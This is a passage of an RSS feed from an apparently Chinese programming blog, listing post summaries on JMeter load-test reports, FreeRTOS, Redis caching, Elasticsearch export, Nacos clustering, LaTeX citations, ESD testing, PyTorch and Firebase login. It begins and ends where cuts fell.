&amp;lt;groupId&amp;gt;org.apache.dubbo&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dubbo-bom&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${dubbo.version}&amp;lt;/version&amp;gt; &amp;lt;type&amp;gt;pom&amp;lt;/type&amp;gt; &amp;lt;scope&amp;gt;import&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--dubbo 和 springboot 整合的包--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>Jmeter5.x多维度HTML可视化数据报告实战</title>
      <link>https://bchobby.github.io/posts/9aebed743bc8b8ba1576cddce1d83c4a/</link>
      <pubDate>Wed, 26 Oct 2022 23:04:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9aebed743bc8b8ba1576cddce1d83c4a/</guid>
      <description>详细的测试报告往往是反应项目能否上线的必要数据，作为测试人员在项目测试完成后，需要提供详细的测试结果，让开发人员，产品经理，项目经理等项目相关负责人开会决定项目是否达到客户预期要求，可否按周期上线。&#xA;Jmeter提供了自动生成html可视化报告的支持，且支持在GUI和非GUI环境生成可视化的html报告；本章节主要使用“课程列表”和“秒杀接口”进行压测，生成可视化html报告，并对报告各项参数详细讲解，让开发人员和测试人员掌握分析html可视化报告的技巧。&#xA;案例实战：&#xA;需求：使用本专题提供的项目中，“课程列表”和“秒杀接口”进行压测，并导出HTML可视化数据报告；Jmeter5.x后端口接口部署与接口文档介绍&#xA;1、使用Jmeter在GUI环境下分别创建：线程组，HTTP采样器（课程列表和秒杀接口），聚合报告，察看结果树；&#xA;线程组：线程组设置100，循环测试勾选为永远，并启用调度器设置120秒（即2分钟）&#xA;HTTP采样器（课程列表和秒杀接口）：分别创建两个采样器，并按以下示例进行接口参数录入；其中提供的API中，“秒杀接口”做了随机时间进行线程阻塞，来达到与实际秒杀耗时场景；&#xA;聚合报告和察看结果树：为了方便在GUI环境下实时查看请求和响应结果报告；详情参考：Jmeter5.x线程组和Sampler基础组件-第一个测试计划&#xA;2、启动测试计划，通过聚合报告和察看结果树来判断测试计划是否有需要调整；&#xA;结果：接口请求都可以正常响应数据，且聚合报告数据显示正常，错误率为0；之后将测试计划保存下来，推荐使用英文名称，如：test.jmx；后期需要上传到非GUI服务器做内网压测，中文会无法使用命令行启动，&#xA;3、windows下使用cmd运行Jmeter脚本文件，并生成HTML可视化报告；使用cmd切换到Jmeter的bin目录下，用以下命令启动测试计划；&#xA;jmeter -n -t D:/article/html可视化报告测试.jmx -l D:/article/html/temp/jtl/result.jtl -e -o D:/article/html/temp/result&#xA;参数说明：&#xA;-n：非gui方式运行jmeter-t ：jmx 脚本路径-l：result.jtl 运行结果保存路径，注意：.jtl 文件名不能重复，文件夹需要存在-e：在脚本运行结束后生成 HTML 报告-o：用于存放 HTML 报告的目录，文件夹需要存在 windows下cmd执行测试计划效果：&#xA;到路径存放html可视化报告进行查看，本示例路径：“D:/article/html/temp/result”&#xA;HTML可视化报告如下的：&#xA;HTML可视化报告参数讲解： dashboard讲解-核心报告&#xA;Test and Report informations&#xA;Source file：jtl文件名Start Time：压测开始时间End Time：压测结束时间Filter for display：过滤器Lable：sampler采样器名称 APDEX(Application performance Index)&#xA;apdex:应用程序性能指标,范围在0~1之间，1表示达到所有用户均满意T(Toleration threshold)：可接受阀值F(Frustration threshold)：失败阀值 Requests Summary&#xA;OK:成功率KO:失败率 Statistics 统计数据&#xA;lable:sampler采样器名称samples:请求总数，并发数*循环次数KO:失败次数Error%:失败率Average:平均响应时间Min:最小响应时间Max:最大响应时间90th pct: 90%的用户响应时间不会超过这个值95th pct: 95%的用户响应时间不会超过这个值99th pct: 99%的用户响应时间不会超过这个值 (存在极端值)throughtput:Request per Second吞吐量 qpsreceived:每秒从服务器接收的数据量send：每秒发送的数据量 charts讲解-可视化图形&#xA;Over Time（随着时间的变化）</description>
    </item>
    <item>
      <title>百问网七天物联网课程笔记（第七天）</title>
      <link>https://bchobby.github.io/posts/03a6ea06803033d18b11aa0b0b348b94/</link>
      <pubDate>Wed, 26 Oct 2022 21:17:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03a6ea06803033d18b11aa0b0b348b94/</guid>
      <description>在第七天的课程中，分别使用单任务和多任务展示了基于stm32的mqtt通信控制led灯的操作。以下是之前我不会但是通过课程了解，觉得有比较记录的内容。&#xA;如何在keil5中，一个启动项对应多个项目？&#xA;右键单击项目名“SmartHome_MultTask”,选择“Manage Project Items”,在“Project Targets”栏新建一个项目&#xA;2. .c文件文件图标下有个红色圈圈的意思，如上图“MQTTEcho.c”&#xA;取消打勾“include in target build”，c文件就不会包含在该工程下。&#xA;作用是区别不同的工程文件。&#xA;freeRTOS的任务通知&#xA;发送通知：&#xA;xTaskNotify( TaskHandle_t xTaskToNotify, uint32_t ulValue, eNotifyAction eAction );&#xA;xTaskToNotify：任务句柄&#xA;ulValue：通知的数据&#xA;eAction：通知对应的动作（见下图）&#xA;使用例子：&#xA;等待通知：&#xA;xTaskNotifyWait(uint32_t ulBitsToClearOnEntry,&#xA;uint32_t ulBitsToClearOnExit,&#xA;uint32_t pulNotificationValue,&#xA;TickType_t xTicksToWait );&#xA;使用示例：&#xA;if(xTaskNotifyWait(0, 0xFFFFFFFF, &amp;amp;notify_value, pdMS_TO_TICKS(10)) == pdTRUE)&#xA;{&#xA;printf(“LED Task notify value is %d\r\n”, notify_value);&#xA;ledDev-&amp;gt;Write(ledDev, (unsigned char*)&amp;amp;notify_value, 1);&#xA;} 创建一个新的队列。为新的队列分配所需的存储内存，并返回一个队列处理。&#xA;xQueueHandle xQueueCreate(&#xA;unsigned portBASE_TYPE uxQueueLength,&#xA;unsigned portBASE_TYPE uxItemSize&#xA;);&#xA;使用示例：&#xA;xQueueHandle xQueue1;</description>
    </item>
    <item>
      <title>【若依】Redis使用剖析</title>
      <link>https://bchobby.github.io/posts/942e256aa2a19e0e818d5746ac48a7d6/</link>
      <pubDate>Wed, 26 Oct 2022 20:46:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/942e256aa2a19e0e818d5746ac48a7d6/</guid>
      <description>【若依】Redis使用剖析 1.1 验证码 加到redis com.ruoyi.web.controller.common.CaptchaController&#xA;// 保存验证码信息 String uuid = IdUtils.simpleUUID(); String verifyKey = CacheConstants.CAPTCHA_CODE_KEY + uuid; //code是表达式的值 String code = capText.substring(capText.lastIndexOf(&#34;@&#34;) + 1); //把唯一的key和code存到redis缓存中 Constants.CAPTCHA_EXPIRATION有效期，；TimeUnit.MINUTES单位是分钟 redisCache.setCacheObject(verifyKey, code, Constants.CAPTCHA_EXPIRATION, TimeUnit.MINUTES); com\ruoyi\common\core\redis\RedisCache.java 若依自己写的工具类&#xA;//新增一个字符串类型的值，key是键，value是值。 redisTemplate.opsForValue().set(&#34;stringValue&#34;,&#34;bbb&#34;); 1.set(K key, V value) 新增一个字符串类型的值,key是键，value是值。html redisTemplate.opsForValue().set(&#34;stringValue&#34;,&#34;bbb&#34;); 2.get(Object key) 获取key键对应的值。java String stringValue = redisTemplate.opsForValue().get(&#34;stringValue&#34;)+&#34;&#34;; System.out.println(&#34;经过get(Object key)方法获取set(K key, V value)方法新增的字符串值:&#34; + stringValue); 1.2 验证码redis取出 com\ruoyi\framework\web\service\SysLoginService.java&#xA;/** * 校验验证码 * * @param username 用户名 * @param code 验证码 * @param uuid 唯一标识 * @return 结果 */ public void validateCaptcha(String username, String code, String uuid) { String verifyKey = CacheConstants.</description>
    </item>
    <item>
      <title>Python 操作 Elasticsearch 并导出全部数据</title>
      <link>https://bchobby.github.io/posts/da0b9956fcb73cc76919587d0df23231/</link>
      <pubDate>Wed, 26 Oct 2022 19:16:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da0b9956fcb73cc76919587d0df23231/</guid>
      <description>目录&#xA;1. 连接 Elasticsearch 数据库&#xA;2. 查询所有数据并导出为文件&#xA;1. 连接 Elasticsearch 数据库 安装包&#xA;pip install elasticsearch 连接 Elasticsearch from elasticsearch import Elasticsearch from tqdm import tqdm import json import warnings warnings.filterwarnings(&#39;ignore&#39;) es = Elasticsearch(hosts=&#34;http://0.0.0.0:9200/&#34;) print(es) 2. 查询所有数据并导出为文件 # 请求体与 Kibana 下使用的格式一致 query_json = { &#34;query&#34;: { &#34;match_all&#34;: {} } } # 执行查询 size = 100 # index 需指定 body为请求体 size 为查询结果的数量 scroll 为游标查询过期时间 query = es.search(index=&#34;song&#34;, body=query_json, size=size, scroll=&#34;5m&#34;) documents = query[&#39;hits&#39;][&#39;hits&#39;] total = query[&#34;</description>
    </item>
    <item>
      <title>Redis 与 Mysql 的数据一致性</title>
      <link>https://bchobby.github.io/posts/4c42d160c2a62dc8684f733c3b27058e/</link>
      <pubDate>Wed, 26 Oct 2022 17:34:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c42d160c2a62dc8684f733c3b27058e/</guid>
      <description>一、延时双删策略 先删除缓存，再更新数据库，然后休眠1s（根据具体的业务合理设置，比如几百毫秒），再删除缓存，有可能第二次删除失败，还是会导致数据不一致&#xA;缺点：存在延时操作，所以会造成服务器的阻塞， 所以不适合高并发的场景&#xA;二、最终一致性（删除缓存重试机制） 如果需要再极端情况下人仍然保证Redis和MySQL的数据一致性，就只能采用最终一致性的方案，比如基于RabbitMQ的可靠性消息通信来实现数据的最终一致性，还可以通过Canal组件监控MySQL里面的Binary log日志，把更新后的数据同步到Redis里面。&#xA;2.1、利用MQ异步重试机制，保证最终一致性，适合高并发场景，缺点就是代码的耦合性高，比如修改、新增接口都需要发送消息&#xA;2.2、利用Canal + MQ异步重试机制，保证最终一致性，适合高并发场景，缺点时增加了系统的复杂性</description>
    </item>
    <item>
      <title>【机器学习】神经网络Keras库调用时遇到的各种报错和解决方法（图文步骤）</title>
      <link>https://bchobby.github.io/posts/11879e3ea390300c23c7963e8170699b/</link>
      <pubDate>Wed, 26 Oct 2022 16:53:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/11879e3ea390300c23c7963e8170699b/</guid>
      <description>目录 环境配置可能的报错与解决方法方法1：手动部署报错1： 库的版本过高，需要换成低版本的报错2：需要安装指定的库步骤3 重启电脑使得系统环境变量的修改生效步骤4 引用包名的修改 方法2：Anaconda部署确保你的Anaconda安装正确部署命令 总结 『机器学习』分享机器学习课程学习笔记，逐步讲述从简单的线性回归、逻辑回归到 ▪ 决策树算法 ▪ 朴素贝叶斯算法 ▪ 支持向量机算法 ▪ 随机森林算法 ▪ 人工神经网络算法 等算法的内容。 欢迎关注 『机器学习』 系列，持续更新中&#xA;欢迎关注 『机器学习』 系列，持续更新中&#xA;环境配置可能的报错与解决方法 温馨提示，本次实验的环境配置有点难搞！有比较多的报错，如果不太想经历这些，可以直接使用Anaconda傻瓜式安装&#xA;方法1：手动部署 报错1： 库的版本过高，需要换成低版本的 TypeError: Descriptors cannot not be created directly. If this call came from a _pb2.py file, your generated code is out of date and must be regenerated with protoc &amp;gt;= 3.19.0. If you cannot immediately regenerate your protos, some other possible workarounds are: 1.</description>
    </item>
    <item>
      <title>参考文献过100间隔突然变大 - 解决办法</title>
      <link>https://bchobby.github.io/posts/e487b4ed07b28b8b78e1396524980db0/</link>
      <pubDate>Wed, 26 Oct 2022 16:42:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e487b4ed07b28b8b78e1396524980db0/</guid>
      <description> 目录&#xA;一、情况叙述&#xA;二、解决方法&#xA;鼠标箭头放在编号后面，如下位置：&#xA;右击 - 段落 - 缩进与间距 - 制表位：&#xA;制表位的值改成 0 即可 三、效果如下&#xA;一、情况叙述 如下图所示：&#xA;二、解决方法 鼠标箭头放在编号后面，如下位置： 右击 - 段落 - 缩进与间距 - 制表位： 制表位的值改成 0 即可 三、效果如下 </description>
    </item>
    <item>
      <title>nacos集群搭建&amp;&amp;dubbo-admin（windows）</title>
      <link>https://bchobby.github.io/posts/cc831100067f21546081d3f41eff9852/</link>
      <pubDate>Wed, 26 Oct 2022 16:07:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc831100067f21546081d3f41eff9852/</guid>
      <description>前置条件：maven，jdk&#xA;nacos-github地址&#xA;GitHub - alibaba/nacos: an easy-to-use dynamic service discovery, configuration and service management platform for building cloud native applications.an easy-to-use dynamic service discovery, configuration and service management platform for building cloud native applications. - GitHub - alibaba/nacos: an easy-to-use dynamic service discovery, configuration and service management platform for building cloud native applications.https://github.com/alibaba/nacos下载完之后，解压，修改配置文件。&#xA;右键记事本或者其他工具打开，写入ip:port&#xA;一台机器的话，这个三个ip都是你本机的ip，（获取本机ip的方法，cmd窗口，ipconfig回车，找到IPv4）后面跟的是三个端口号，端口号要等下要在上图中的application.properties文件中修改。&#xA;改完之后，打开application.properties&#xA;放开mysql注释，改为你自己的数据库配置&#xA;修改端口号&#xA;然后复制三份nacos，分别改一下server.port，改为和上图的cluster.conf文件中的端口号一致即可&#xA;全部配置好之后，打开数据库。&#xA;在nacos的conf目录，找到这个sql文件&#xA;导入mysql或者复制里面的sql执行。&#xA;要注意的是，端口号有一个偏移量，偏移量是1000，端口号不要挨着就好。&#xA;然后进入bin目录，双击startup.cmd启动就行&#xA;注意，集群应该是cluster，如果不是，那么你就要改一下startup.cmd，建议直接注释单机启动的配置，把圈起来的都注释掉，就行了，注释是 rem xxx&#xA;启动完成就可以按照你的 http://ip:port/nacos这个地址访问了，默认账号密码是nacos/nacos</description>
    </item>
    <item>
      <title>制作win10启动U盘wim文件过大的问题</title>
      <link>https://bchobby.github.io/posts/f80cc90e3564704eb68f319784080446/</link>
      <pubDate>Wed, 26 Oct 2022 15:56:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f80cc90e3564704eb68f319784080446/</guid>
      <description>开始菜单搜索cmd，用管理员权限启动后，输入：&#xA;Dism /Split-Image /ImageFile:C:\sources\install.wim /SWMFile:C:\sources\install.swm /FileSize:4000&#xA;即可把目标wim文件分解成4G大小的swm文件。简简单单搞定。</description>
    </item>
    <item>
      <title>Latex参考文献排版、引用及跳转</title>
      <link>https://bchobby.github.io/posts/d88ddf055c0b406c29d960fc4bf70858/</link>
      <pubDate>Wed, 26 Oct 2022 14:07:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d88ddf055c0b406c29d960fc4bf70858/</guid>
      <description>@关于Latex参考文献引用及跳转Latex 一、参考文献排版 方法一：在文章最后\end{document}之前直接使用以下代码即可：&#xA;\begin{thebibliography}{50} % 50为文献个数 \small %设置参考文献的字体大小（可注释） \renewcommand\@biblabel[1]{#1.} %这个可以设置文献的序号为1.，2.这种样式；如果注释掉参考文献序号变为[1],[2]的样式 \bibitem{1}后跟文献信息 ...... \bibitem{50}后跟文献信息 \end{thebibliography} \end{document} 方法二：使用bib.tex文件排版参考文献。首先，在你的latex排版同目录下创建bib.tex文件，把方法一的代码写入bib.tex文件。然后在编译文件中\end{document}之前输入\input bib.tex，将文献导入。&#xA;二、文章中文献引用、标蓝以及跳转（超链接） 在文中需要引用文献的地方使用\cite{1}即可。&#xA;这部分总结一下我latex排版的坑！！！！！&#xA;1、不同的latex环境，使用同样的命令不一定能有一样的效果。&#xA;上面关于一、参考文献排版的方法基本上都是通用的，但是在文中对文献进行引用时，有的latex模板的环境在文中使用\cite{1}就可以显示带有蓝色超链接，可跳转的文献，但是！！！有的latex环境是死活不能跳转的，我搜了很多方法都没用，其中大部分是用\usepackage{hyperref}包，但是都不行。只有下面这种可以：&#xA;\usepackage[ pdfauthor={derajan}, pdftitle={How to do this}, pdfstartview=XYZ, bookmarks=true, colorlinks=true, linkcolor=blue, urlcolor=blue, citecolor=blue, pdftex, bookmarks=true, linktocpage=true, % makes the page number as hyperlink in table of content hyperindex=true ]{hyperref} 但是会发现引用的参考文献并不是[1-3]这种格式，请看下面的2。&#xA;2、我在文章开头设置双栏排版：&#xA;\documentclass [5p,12pt] {elsarticle} %一定要放置整个编译文件的最开头，即所有包\usepackage{}前面，5p就是双栏，12p是字体大小（可不要），{elsarticle} 为所使用的latex模板名称 还有1p,3p也可表示双栏和单栏,如下；&#xA;\documentclass [5p,twocolumn] {elsarticle} **回到1中的问题：**引用的参考文献并不是[1-3]这种格式，所以就考虑在对两栏排版的命令中设置引用序号格式：&#xA;\documentclass [5p,hyperref,sort&amp;amp;compress] {elsarticle} 完成！！！！！！！&#xA;注：最合人意的latex环境就是方法一，什么多余的操作都不需要，引用即自动标红＋超链接跳转。但是不同的latex模板环境不一样，参考文献以及包的使用效果不同，需要另想办法。呜呜呜呜呜呜呜~~~~~~</description>
    </item>
    <item>
      <title>静电放电抗扰度试验【电磁兼容EMC原理、设计与故障排除】</title>
      <link>https://bchobby.github.io/posts/38a5ed0efc56f52f1620ecc8abba4a50/</link>
      <pubDate>Wed, 26 Oct 2022 13:36:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38a5ed0efc56f52f1620ecc8abba4a50/</guid>
      <description>笔者电子信息专业硕士毕业，获得过多次电子设计大赛、大学生智能车、数学建模国奖，现就职于南京某半导体芯片公司，从事硬件研发，电路设计研究。对于学电子的小伙伴，深知入门的不易，特开次博客交流分享经验，共同互勉！全套资料领取扫描文末二维码！&#xA;温馨提示：学而不思则罔，思而不学则殆。实践是检验真理的唯一标准！&#xA;静电放电抗扰度试验的国家标准为GB/T 17626.2（等同于国际标准IEC 61000-4-2）。&#xA;一、试验目的 静电放电是一种自然现象，当两种不同介电强度的材料相互摩擦时，就会产生静电电荷（摩擦起电原理）。如果其中一种材料上的静电荷积累到一定程度，并与另外一个物体接触时，就会通过这个物体到大地的阻抗进行放电。当设备发生接触或空气放电后，附着在设备机壳上的电荷会通过设备机箱上的孔缝与设备内部电路板或元器件间发生二次放电。因为设备内部电路板或元器件的阻抗较小，所以二次放电的危害有可能比一次放电更大。静电放电及其影响是电子设备的一个主要干扰源。&#xA;由于静电的存在，人体几乎成了对电子设备或爆炸性材料的最大危害。静电放电多发生于人体接触半导体器件时，有可能导致半导体材料击穿，产生不可逆转的损坏。静电放电及由此产生的电磁场变化可能危害电子设备的正常工作。&#xA;静电放电抗扰度试验模拟了以下两种情况：&#xA;① 设备操作人员直接触摸设备时对设备的放电和放电对设备工作的影响（直接放电）。&#xA;② 设备操作人员在触摸附近设备时，对所关心的设备的影响（间接放电）。&#xA;静电放电可能造成的后果是：&#xA;① 直接放电可引起设备中半导体器件的损坏，从而造成设备的永久性失效。&#xA;② 设备的误动作，这是由放电（可能是直接放电，也可能是间接放电）而引起的近场电磁场变化造成的。&#xA;二、主要试验设备及必备条件 如图2-10所示为静电放电模拟器的基本线路及放电电流波形。&#xA;图2-10 静电放电模拟器的基本线路及放电电流波形&#xA;高压真空继电器是目前唯一能产生高速和重复放电波形的器件。电路中的150pF电容代表人体的储能电容，330Ω电阻代表人体在手握钥匙和其他金属工具时的人体电阻。标准认为用这种人体放电模型（包括电容量和电阻值）来描述静电放电是足够严酷的。&#xA;图中的放电电流波形（标准规定是放电电极对作为电流传感器的2Ω电阻接触放电时的电流波形）含有的谐波成分极其丰富，因此加大了试验的严酷程度。&#xA;三、试验方法及试验配置 试验室里的试验配置的规范性是保证试验结果重复性和可比性的一个关键因素，这是因为静电放电的电流波形十分陡峭，其前沿已经达到0.7～1ns，包含的谐波成分至少达到500MHz以上。&#xA;1、直接放电&#xA;标准规定，凡受试设备正常工作时，人手可以触摸到的部位都要进行静电放电试验（这样的部位，除机箱以外，其他如控制键盘、按钮、指示灯、钥匙孔、显示屏等都在试验范围内）。&#xA;试验时，受试设备处在正常工作状态。试验正式开始前，试验人员对受试设备表面以20次/s的放电速率快速扫视一遍，以便寻找受试设备的敏感部位（凡扫视中有引起受试设备数显跳动、声光报警、动作异常等迹象的部位，都作为正式试验时的重点考查部位，应记录在案，并在正式试验时在其周围多增加几个考查点）。正式试验时，为了使受试设备来得及做出响应，放电以1次/s的速度进行（也有规定为1次/5s的产品）。一般对每一个选定点上放电20次（其中10次正的，10次负的）。&#xA;原则上，凡可以采用接触放电的地方一律采用接触放电。对涂漆的机箱，如制造厂商没有说明是作为绝缘用的，试验时便用放电枪的尖端刺破漆膜对受试设备进行放电。如厂家说明是作为绝缘使用，则应改用空气放电。对空气放电应采用半圆头形的放电电极，在每次放电前，应先将放电枪从受试设备表面移开，然后将放电枪慢慢靠近受试设备，直到放电完成为止。&#xA;为改善试验结果的重复性和可比性，放电电极应与受试设备表面垂直。&#xA;除非在通用、专用产品或是产品族标准中另有规定，静电放电仅仅施加在受试设备正常使用中可以触及的点和面上。但下述情况被排除在外（换言之，对这些项目不进行放电）：&#xA;① 对于只有在维护时才能触及的点和面。在这种情况下，应在相应的文件中特别规定静电放电的简化试验。&#xA;② 只有最终用户检修时才能触及的点和面。例如对下述这些很少触及的点：在更换电池时触及的电池触点，录音电话的磁带盒等。&#xA;③ 对于在安装使用后不再触及的点和面。例如，设备的底部及靠墙壁的一侧和适配连接器的后面。&#xA;④ 同轴及多芯连接触点。因为它们都有一个金属的连接器外壳，在这种情况下，接触放电仅仅施加在连接器的金属外壳上。&#xA;⑤ 对非导电外壳（如塑料的）连接器中可接触到的触点，只采用空气放电来做试验。应当在静电放电发生器上采用圆头电极来做这个试验。&#xA;通常要考虑表2-6所示的6种情况。&#xA;表2-6 6种试验情况&#xA;① 如果产品（线产品族）标准要求对绝缘外壳连接器的有关触点进行试验，则应采用空气放电。注：对于用涂层提供连接器触点屏蔽的情况，应该在涂层线设备靠近安装采用涂层连接器的地方给出静电的警告标识。&#xA;⑥ 由于功能的原因，对于那些对静电放电敏感的连接器的触点或其他可以触及部分，如测量、接收或其他通信功能的射频输入端，应采用静电放电的警告标识。&#xA;这是因为，许多连接器端口是用来处理模拟或数字高频信号的，因此不能提供有足够过电压保护能力的器件。在模拟信号的情况下，选用带通滤波器或许是一种解决方案。至于过电压保护二极管，由于寄生电容过大，因此对受试设备所采用的工作频率是不利的。&#xA;在上述所有情况中，要在相应的文件中推荐专门的受试设备简化试验。&#xA;2、间接放电&#xA;间接放电即对耦合板进行放电。至于对水平耦合板的放电，要在水平方向对水平耦合板的边进行，如图2-11所示。&#xA;在朝向EUT每一单元（若适用）的中心点且与EUT前端相距0.1m处的水平耦合板前缘处，以最敏感的极性，至少做10次单次放电。放电时，放电电极的长轴要处在水平耦合板的平面里且垂直于它的前缘。放电电极要与水平耦合板的边缘相接触。另外，要考虑对EUT所有的暴露面做这个试验。图2-11所示是台式和落地设备的试验配置与放电位置示例。&#xA;图2-11 台式和落地设备的试验配置与放电位置示例&#xA;VCP —垂直耦合板；HCP —水平耦合板&#xA;3、注意事项&#xA;在距受试设备1m以内应无墙壁和其他金属物品（包括仪器）。&#xA;试验中受试设备要尽可能按实际情况布局（包括电源线、信号线和安装脚等）。接地线要按生产厂商的规定接地（没有接地线就不接），不允许有额外的接地线。&#xA;放电时，放电枪的接地回线与受试设备表面至少保持0.2m的间距，避免相互间有附加感应，从而影响试验结果。&#xA;4、不接地设备的试验&#xA;这里所描述的试验适合在安装说明或设计中已规定不与任何接地系统连接的设备或设备部件所采用。这里的设备或部件包括便携式的、电池供电的和双重绝缘的设备（Ⅱ类设备）。&#xA;基本原理是：不接地的设备或设备中不接地的部件不像Ⅰ类由电网供电的设备那样进行放电，如果在下一次ESD脉冲施加之前不能将电荷释放，就有可能使设备或设备部件达到所施试验电压的两倍。因此在Ⅱ类绝缘的设备电容里积累了几次ESD后，双重绝缘的设备可能被不切实际地充电至很多的电荷，最终以非常高的能量在绝缘体的击穿电压点上放电。&#xA;为了模拟单次放电（无论是空气放电，还是接触放电），受试设备上的电荷应在每次施加静电放电脉冲之前先行释放。以连接器的外壳、电池的充电端子、金属的天线为例，应当在每次施加静电放电试验脉冲时先行释放掉在需要施加静电放电的金属点或部位上的电荷。例如采用在水平和垂直耦合板上释放电荷的类似方法，即能对带有470kΩ泄放电阻的电缆进行放电。&#xA;由于在受试设备与水平耦合板（用于台式设备）及受试设备与参考接地板（用于地面设备）之间的电容取决于受试设备尺寸，若功能允许，在静电放电试验时可能保留带泄放电阻的电缆安装。在放电电缆中，一个电阻要尽可能地靠近EUT上的试验点，最好小于20mm；另一个电阻接在电缆线的末端附近，与水平耦合板（对台式设备）或参考接地板（对地面设备）相连。台式、地面不接地设备的试验见图2-12。&#xA;图2-12 台式、地面不接地设备的试验</description>
    </item>
    <item>
      <title>pytorch 学习之：冻结某些网络层参数；查看可训练的参数数量</title>
      <link>https://bchobby.github.io/posts/6f28b6161af4db06c4efd91e79ef6943/</link>
      <pubDate>Wed, 26 Oct 2022 12:30:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f28b6161af4db06c4efd91e79ef6943/</guid>
      <description>文章目录 从 huggingface 导入演示的预训练模型查看整体 bert 结构查看 bert 的 encoder 结构 查看总参数量冻结 / 解冻网络层获得可训练参数数量样例演示 从 huggingface 导入演示的预训练模型 查看整体 bert 结构 可以看见，是有 embedding, encoder 和 pooler 三部分组成 from transformers import BertModel # 这个文件夹需要自己从 huggingface 的模型中下载 mod = BertModel.from_pretrained(&#34;../bert-base-chinese/&#34;) # 先看一下 mod 的整体网络结构 mod Some weights of the model checkpoint at ../bert-base-chinese/ were not used when initializing BertModel: [&#39;cls.seq_relationship.weight&#39;, &#39;cls.predictions.bias&#39;, &#39;cls.predictions.transform.dense.weight&#39;, &#39;cls.predictions.decoder.weight&#39;, &#39;cls.seq_relationship.bias&#39;, &#39;cls.predictions.transform.LayerNorm.bias&#39;, &#39;cls.predictions.transform.dense.bias&#39;, &#39;cls.predictions.transform.LayerNorm.weight&#39;] - This IS expected if you are initializing BertModel from the checkpoint of a model trained on another task or with another architecture (e.</description>
    </item>
    <item>
      <title>【Unity】Firebase-Google登录身份验证功能接入流程</title>
      <link>https://bchobby.github.io/posts/8e4b81e4a131f89cd88b61d98fdf0496/</link>
      <pubDate>Wed, 26 Oct 2022 11:45:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e4b81e4a131f89cd88b61d98fdf0496/</guid>
      <description>思路：接入sdk相关Android接口以aar形式提供给Unity使用&#xA;目录&#xA;一、创建Firebase项目工程&#xA;二、创建Android工程 接入Android接口&#xA;三、Unity工程配置&#xA;参考文档：https://firebase.google.com/docs/auth/android/google-signin#java_1&#xA;一、创建Firebase项目工程 https://console.firebase.google.com&#xA;进入到console创建工程，按照步骤进行，进入到具体工程console面板后，找到&#xA;添加测试用户&#xA;启动Google身份验证&#xA;进行到此时下载google-services.json 上面截图有这个按钮，下载下来后 把它拷贝到工程/Assets下，Unity工程，如果你是安卓则拷贝到安卓的应用工程根目录下。创建应用必须确保签名sha和包名和你Unity项目一样的。&#xA;【有坑：这里自己根据自己包签名生成的SHA-1只是测试用的，等发布到google之后需要用google提供的上传密钥签名SHA-1 具体在最下方已经有说明 和 一个报错关联com.google.android.gms.common.api.ApiException: 10:】&#xA;此时已经进行完基本的Firebase工程配置&#xA;2022年2月10日补充说明：&#xA;查看密钥方法：keytool -list -v -keystore google.keystore&#xA;其中，google.keystore是密钥文件名，需先cd到该文件的目录下执行这条命令&#xA;编辑了SHA列表后需要重新导出google-services.json更新工程！不然是不会生效的&#xA;二、创建Android工程 接入Android接口 1、需在（应用级）app/build.gradle添加如下依赖&#xA;dependencies { ... implementation platform(&#39;com.google.firebase:firebase-bom:28.4.0&#39;) implementation &#39;com.google.firebase:firebase-analytics&#39; implementation &#39;com.google.firebase:firebase-auth&#39; implementation &#39;com.google.android.gms:play-services-auth:19.2.0&#39; } 其中analytics可能不需要 它是一个firebase分析工具的依赖&#xA;2、配置Firebase项目具体应用的SHA指纹，需要准备Unity包签名文件keystore 用如下文档方式进行获取SHA。（上方已经提及，这里给个文档）&#xA;https://developers.google.com/android/guides/client-auth&#xA;3、具体接口代码接入 MainActivity.java代码源码：&#xA;package com.test.googleloginTest1102; import androidx.annotation.NonNull; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent; import android.os.Bundle; import android.util.Log; import android.view.View; import android.widget.Button; import com.google.android.gms.auth.api.signin.GoogleSignIn; import com.</description>
    </item>
    <item>
      <title>Mockjs模拟后台数据操作</title>
      <link>https://bchobby.github.io/posts/b92416db5a2665e0f0ef6be91e435a79/</link>
      <pubDate>Wed, 26 Oct 2022 10:36:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b92416db5a2665e0f0ef6be91e435a79/</guid>
      <description>mock模拟后台数据操作，随机生成数据，包含增伤改查。 引入依赖 yarn add mockjs api下创建mockData-&amp;gt;user.js import Mock from &#39;mockjs&#39; // get请求从config.url获取参数，post从config.body中获取参数 function param2Obj (url) { const search = url.split(&#39;?&#39;)[1] if (!search) { return {} } return JSON.parse( &#39;{&#34;&#39; + decodeURIComponent(search) .replace(/&#34;/g, &#39;\\&#34;&#39;) .replace(/&amp;amp;/g, &#39;&#34;,&#34;&#39;) .replace(/=/g, &#39;&#34;:&#34;&#39;) + &#39;&#34;}&#39; ) } let List = [] const count = 200 for (let i = 0; i &amp;lt; count; i++) { List.push( Mock.mock({ id: Mock.Random.guid(), name: Mock.Random.cname(), addr: Mock.mock(&#39;@county(true)&#39;), &#39;age|18-60&#39;: 1, birth: Mock.</description>
    </item>
    <item>
      <title>神奇的卡尔曼滤波，目标追踪的福音</title>
      <link>https://bchobby.github.io/posts/ee6d945358cd8291d4c406497b7414ce/</link>
      <pubDate>Wed, 26 Oct 2022 09:50:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee6d945358cd8291d4c406497b7414ce/</guid>
